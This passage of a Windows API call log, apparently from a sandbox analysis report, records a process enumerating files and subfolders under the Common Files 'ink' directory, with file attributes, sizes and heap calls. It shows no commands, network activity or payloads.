ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0091.579] GetProcessHeap () returned 0xc00000 [0091.579] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8e20 [0091.580] FindNextFileW (in: hFindFile=0x37e8e20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.580] FindNextFileW (in: hFindFile=0x37e8e20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.580] FindNextFileW (in: hFindFile=0x37e8e20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.580] FindClose (in: hFindFile=0x37e8e20 | out: hFindFile=0x37e8e20) returned 1 [0091.580] GetProcessHeap () returned 0xc00000 [0091.580] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.580] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0091.580] GetProcessHeap () returned 0xc00000 [0091.580] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8b20 [0091.586] FindNextFileW (in: hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.586] FindNextFileW (in: hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.586] FindNextFileW (in: hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.586] FindClose (in: hFindFile=0x37e8b20 | out: hFindFile=0x37e8b20) returned 1 [0091.586] GetProcessHeap () returned 0xc00000 [0091.586] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.586] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0091.587] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0091.587] GetProcessHeap () returned 0xc00000 [0091.587] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8aa0 [0091.587] FindNextFileW (in: hFindFile=0x37e8aa0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.588] FindNextFileW (in: hFindFile=0x37e8aa0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.588] FindClose (in: hFindFile=0x37e8aa0 | out: hFindFile=0x37e8aa0) returned 1 [0091.588] GetProcessHeap () returned 0xc00000 [0091.588] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.588] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0091.588] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0091.588] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0091.588] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0091.590] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0091.590] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0091.591] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0091.591] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0091.592] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0091.592] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0091.592] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0091.592] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0091.592] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0091.593] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0091.593] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0091.593] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0091.593] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0091.593] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, 